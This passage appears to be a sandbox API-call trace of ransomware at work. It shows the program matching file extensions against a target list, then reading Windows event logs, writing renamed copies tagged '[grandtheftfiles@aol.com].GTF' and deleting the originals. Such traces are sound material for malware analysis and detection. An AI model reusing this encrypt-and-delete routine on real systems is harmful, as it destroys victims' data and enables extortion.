	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString=".doc") returned 4
	[0080.814] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".docx") returned 5
	[0080.814] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.814] lstrlenW (lpString=".pdf") returned 4
	[0080.814] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".xls") returned 4
	[0080.814] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".xlsx") returned 5
	[0080.814] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.814] lstrlenW (lpString=".ppt") returned 4
	[0080.814] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString=".zip") returned 4
	[0080.814] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".rar") returned 4
	[0080.814] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".bz2") returned 4
	[0080.815] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.815] lstrlenW (lpString=".7z") returned 3
	[0080.815] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.815] lstrlenW (lpString=".dbf") returned 4
	[0080.815] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.815] lstrlenW (lpString=".1cd") returned 4
	[0080.815] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.815] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.815] lstrlenW (lpString=".jpg") returned 4
	[0080.815] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.815] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.815] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48
	[0080.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.815] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0080.815] CloseHandle (hObject=0x2d0) returned 1
	[0080.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0080.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.816] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.816] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.816] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.825] GetLastError () returned 0x0
	[0081.825] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.828] WriteFile (in: hFile=0x36c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.829] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.829] WriteFile (in: hFile=0x36c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x134, lpOverlapped=0x0) returned 1
	[0081.830] SetEndOfFile (hFile=0x36c) returned 1
	[0081.831] CloseHandle (hObject=0x36c) returned 1
	[0081.833] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.833] SetEndOfFile (hFile=0x2d0) returned 1
	[0081.834] CloseHandle (hObject=0x2d0) returned 1
	[0081.835] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.835] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1
	[0081.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.835] lstrlenW (lpString=".doc") returned 4
	[0081.835] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.835] lstrlenW (lpString=".docx") returned 5
	[0081.835] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.835] lstrlenW (lpString=".pdf") returned 4
	[0081.835] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.835] lstrlenW (lpString=".xls") returned 4
	[0081.835] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.835] lstrlenW (lpString=".xlsx") returned 5
	[0081.835] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.835] lstrlenW (lpString=".ppt") returned 4
	[0081.835] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.835] lstrlenW (lpString=".zip") returned 4
	[0081.835] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.835] lstrlenW (lpString=".rar") returned 4
	[0081.835] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".bz2") returned 4
	[0081.836] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".7z") returned 3
	[0081.836] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString=".dbf") returned 4
	[0081.836] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString=".1cd") returned 4
	[0081.836] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString=".jpg") returned 4
	[0081.836] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString=".doc") returned 4
	[0081.836] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".docx") returned 5
	[0081.836] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.836] lstrlenW (lpString=".pdf") returned 4
	[0081.836] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".xls") returned 4
	[0081.836] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".xlsx") returned 5
	[0081.836] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.836] lstrlenW (lpString=".ppt") returned 4
	[0081.836] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.836] lstrlenW (lpString=".zip") returned 4
	[0081.836] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".rar") returned 4
	[0081.836] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.836] lstrlenW (lpString=".bz2") returned 4
	[0081.837] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.837] lstrlenW (lpString=".7z") returned 3
	[0081.837] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.837] lstrlenW (lpString=".dbf") returned 4
	[0081.837] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.837] lstrlenW (lpString=".1cd") returned 4
	[0081.837] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0081.837] lstrlenW (lpString=".jpg") returned 4
	[0081.837] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.837] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.837] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74
	[0081.837] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.847] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0081.847] CloseHandle (hObject=0x39c) returned 1
	[0081.847] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0081.847] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.847] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.847] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.860] GetLastError () returned 0x0
	[0081.860] ReadFile (in: hFile=0x39c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.865] WriteFile (in: hFile=0x33c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.866] ReadFile (in: hFile=0x39c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.866] WriteFile (in: hFile=0x33c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x168, lpOverlapped=0x0) returned 1
	[0081.867] SetEndOfFile (hFile=0x33c) returned 1
	[0081.867] CloseHandle (hObject=0x33c) returned 1
	[0081.869] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.869] SetEndOfFile (hFile=0x39c) returned 1
	[0081.870] CloseHandle (hObject=0x39c) returned 1
	[0081.870] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.870] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".doc") returned 4
	[0081.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".docx") returned 5
	[0081.871] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.871] lstrlenW (lpString=".pdf") returned 4
	[0081.871] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".xls") returned 4
	[0081.871] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".xlsx") returned 5
	[0081.871] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.871] lstrlenW (lpString=".ppt") returned 4
	[0081.871] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".zip") returned 4
	[0081.871] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".rar") returned 4
	[0081.871] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".bz2") returned 4
	[0081.871] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString=".7z") returned 3
	[0081.871] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".dbf") returned 4
	[0081.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".1cd") returned 4
	[0081.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".jpg") returned 4
	[0081.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.871] lstrlenW (lpString=".doc") returned 4
	[0081.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".docx") returned 5
	[0081.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.872] lstrlenW (lpString=".pdf") returned 4
	[0081.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".xls") returned 4
	[0081.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".xlsx") returned 5
	[0081.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.872] lstrlenW (lpString=".ppt") returned 4
	[0081.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.872] lstrlenW (lpString=".zip") returned 4
	[0081.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".rar") returned 4
	[0081.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".bz2") returned 4
	[0081.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString=".7z") returned 3
	[0081.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.872] lstrlenW (lpString=".dbf") returned 4
	[0081.872] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.872] lstrlenW (lpString=".1cd") returned 4
	[0081.872] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0081.872] lstrlenW (lpString=".jpg") returned 4
	[0081.872] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.872] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.872] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64
	[0081.872] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.873] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0081.873] CloseHandle (hObject=0x39c) returned 1
	[0081.873] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0081.873] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.873] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.873] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.873] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.873] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.874] GetLastError () returned 0x0
	[0081.874] ReadFile (in: hFile=0x39c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.887] WriteFile (in: hFile=0x33c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.892] ReadFile (in: hFile=0x39c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.892] WriteFile (in: hFile=0x33c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x154, lpOverlapped=0x0) returned 1
	[0081.892] SetEndOfFile (hFile=0x33c) returned 1
	[0081.892] CloseHandle (hObject=0x33c) returned 1
	[0081.894] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.894] SetEndOfFile (hFile=0x39c) returned 1
	[0082.268] CloseHandle (hObject=0x39c) returned 1
	[0082.268] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0082.268] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1
	[0082.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.327] lstrlenW (lpString=".doc") returned 4
	[0082.327] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.327] lstrlenW (lpString=".docx") returned 5
	[0082.327] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.327] lstrlenW (lpString=".pdf") returned 4
	[0082.327] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.327] lstrlenW (lpString=".xls") returned 4
	[0082.327] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.327] lstrlenW (lpString=".xlsx") returned 5
	[0082.327] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.327] lstrlenW (lpString=".ppt") returned 4
	[0082.327] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.327] lstrlenW (lpString=".zip") returned 4
	[0082.328] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString=".rar") returned 4
	[0082.328] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString=".bz2") returned 4
	[0082.328] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString=".7z") returned 3
	[0082.328] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.328] lstrlenW (lpString=".dbf") returned 4
	[0082.328] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.328] lstrlenW (lpString=".1cd") returned 4
	[0082.328] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.328] lstrlenW (lpString=".jpg") returned 4
	[0082.328] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.328] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.328] lstrlenW (lpString=".doc") returned 4
	[0082.328] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.328] lstrlenW (lpString=".docx") returned 5
	[0082.328] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.328] lstrlenW (lpString=".pdf") returned 4
	[0082.328] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
